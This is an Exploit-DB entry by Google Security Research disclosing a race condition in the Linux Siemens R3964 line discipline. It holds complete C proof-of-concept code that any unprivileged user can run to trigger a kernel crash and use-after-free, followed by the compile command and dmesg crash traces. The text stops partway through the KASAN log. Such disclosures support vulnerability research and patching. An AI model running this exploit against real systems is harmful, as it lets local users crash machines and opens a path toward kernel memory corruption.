Exploit-DB #46744
Description: Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition
Type: dos
Platform: linux
Date: 2019-04-23
Author: Google Security Research

Exploit:
/*
The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races
around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS
just allocates and deletes elements in a linked list with zero locking.
This code is reachable by an unprivileged user if the line discipline is enabled
in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a
module.

Proof of concept:

==================================
user@ubuntu-18-04-vm:~/r3964$ cat r3964_racer.c
*/

#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <err.h>
#include <stdlib.h>
#include <linux/n_r3964.h>

static int ptm_fd, slave_fd;

static void *thread_fn(void *dummy) {
  int res;
  while (1) {
    res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, R3964_SIG_ALL);
    printf("R3964_ENABLE_SIGNALS: %d\n", res);
    res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, 0);
    printf("R3964_ENABLE_SIGNALS: %d\n", res);
  }
}

int main(void) {
  ptm_fd = getpt();
  if (ptm_fd == -1) err(1, "getpt");
  if (unlockpt(ptm_fd)) err(1, "unlockpt");
  slave_fd = ioctl(ptm_fd, TIOCGPTPEER, O_RDWR);
  if (slave_fd == -1) err(1, "TIOCGPTPEER");

  printf("-----------------------------------------\n");
  system("ls -l /proc/$PPID/fd");
  printf("-----------------------------------------\n");

  const int disc_r3964 = N_R3964;
  if (ioctl(slave_fd, TIOCSETD, &disc_r3964)) err(1, "TIOCSETD");

  pthread_t thread;
  if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create");

  thread_fn(NULL);

  return 0;
}

/*
user@ubuntu-18-04-vm:~/r3964$ gcc -o r3964_racer r3964_racer.c -pthread && ./r3964_racer
[...]
==================================

dmesg splat:

==================================
[   82.646953] r3964: Philips r3964 Driver $Revision: 1.10 $
[   82.656459] ------------[ cut here ]------------
[   82.656461] kernel BUG at /build/linux-Y38gIP/linux-4.15.0/mm/slub.c:296!
[   82.658396] invalid opcode: 0000 [#1] SMP PTI
[   82.659515] Modules linked in: n_r3964 joydev ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc aufs overlay snd_hda_codec_generic crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep ghash_clmulni_intel snd_pcm snd_seq_midi snd_seq_midi_event pcbc aesni_intel aes_x86_64 snd_rawmidi snd_seq snd_seq_device snd_timer snd crypto_simd glue_helper cryptd input_leds soundcore mac_hid 9pnet_virtio 9pnet serio_raw qemu_fw_cfg sch_fq_codel parport_pc ppdev lp parport ip_tables x_tables autofs4 virtio_gpu ttm floppy drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops drm
[   82.677770]  virtio_net i2c_piix4 pata_acpi
[   82.678849] CPU: 1 PID: 2209 Comm: r3964_racer Not tainted 4.15.0-42-generic #45-Ubuntu
[   82.680897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[   82.683098] RIP: 0010:kfree+0x16a/0x180
[   82.684116] RSP: 0018:ffffb6b381d7fd50 EFLAGS: 00010246
[   82.685454] RAX: ffff9bb0b4770000 RBX: ffff9bb0b4770000 RCX: ffff9bb0b4770000
[   82.687285] RDX:[PII_REDACTED]006e86 RSI: ffff9bb1bfca70a0 RDI: ffff9bb1bb003800
[   82.689247] RBP: ffffb6b381d7fd68 R08: ffffffffc0511db0 R09: ffffffffc051202c
[   82.691077] R10: ffffeb8c80d1dc00 R11: [PII_REDACTED] R12: ffff9bb1b3430e40
[   82.692906] R13: ffffffffc051202c R14: ffff9bb13b56e800 R15: ffff9bb12d1addd0
[   82.694726] FS:  00007ff9b92da740(0000) GS:ffff9bb1bfc80000(0000) knlGS:[PII_REDACTED]
[   82.696801] CS:  0010 DS: 0000 ES: 0000 CR0: [PII_REDACTED]
[   82.698421] CR2: 0000558cf9e32ec8 CR3: 00000000a513a005 CR4:[PII_REDACTED]3606e0
[   82.700259] DR0: [PII_REDACTED] DR1: [PII_REDACTED] DR2: [PII_REDACTED]
[   82.702113] DR3: [PII_REDACTED] DR6: 00000000fffe0ff0 DR7: [PII_REDACTED]
[   82.703946] Call Trace:
[   82.704602]  r3964_ioctl+0x27c/0x2b0 [n_r3964]
[   82.705746]  tty_ioctl+0x138/0x8c0
[   82.706631]  ? __wake_up+0x13/0x20
[   82.707516]  do_vfs_ioctl+0xa8/0x630
[   82.708610]  ? vfs_write+0x166/0x1a0
[   82.709543]  SyS_ioctl+0x79/0x90
[   82.710405]  do_syscall_64+0x73/0x130
[   82.711357]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[   82.712659] RIP: 0033:0x7ff9b8bd45d7
[   82.713680] RSP: 002b:00007fffcd85bcf8 EFLAGS: 00000202 ORIG_RAX: [PII_REDACTED]
[   82.715617] RAX: ffffffffffffffda RBX: [PII_REDACTED] RCX: 00007ff9b8bd45d7
[   82.717463] RDX: [PII_REDACTED] RSI: [PII_REDACTED] RDI: [PII_REDACTED]
[   82.719411] RBP: 00007fffcd85bd20 R08: [PII_REDACTED] R09: [PII_REDACTED]
[   82.721248] R10: [PII_REDACTED] R11: [PII_REDACTED] R12: 0000556df58ed820
[   82.723093] R13: 00007fffcd85be30 R14: [PII_REDACTED] R15: [PII_REDACTED]
[   82.724930] Code: c4 80 74 04 41 8b 72 6c 4c 89 d7 e8 61 1c f9 ff eb 86 41 b8 01 00 00 00 48 89 d9 48 89 da 4c 89 d6 e8 8b f6 ff ff e9 6d ff ff ff <0f> 0b 48 8b 3d 6d c5 1c 01 e9 c9 fe ff ff 0f 1f 84 00 00 00 00 
[   82.729909] RIP: kfree+0x16a/0x180 RSP: ffffb6b381d7fd50
[   82.731310] ---[ end trace c1cd537c5d2e0b84 ]---
==================================


I've also tried this on 5.0-rc2 with KASAN on, which resulted in this splat:

==================================
[   69.883056] ==================================================================
[   69.885163] BUG: KASAN: use-after-free in r3964_ioctl+0x288/0x3c0
[   69.886855] Read of size 8 at addr ffff8881e0474020 by task r3964_racer/1134
[   69.888820] 
[   69.889251] CPU: 3 PID: 1134 Comm: r3964_racer Not tainted 5.0.0-rc2 #238
[   69.891729] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[   69.894535] Call Trace:
[   69.895223]  dump_stack+0x71/0xab
[   69.896134]  ? r3964_ioctl+0x288/0x3c0
[   69.897181]  print_a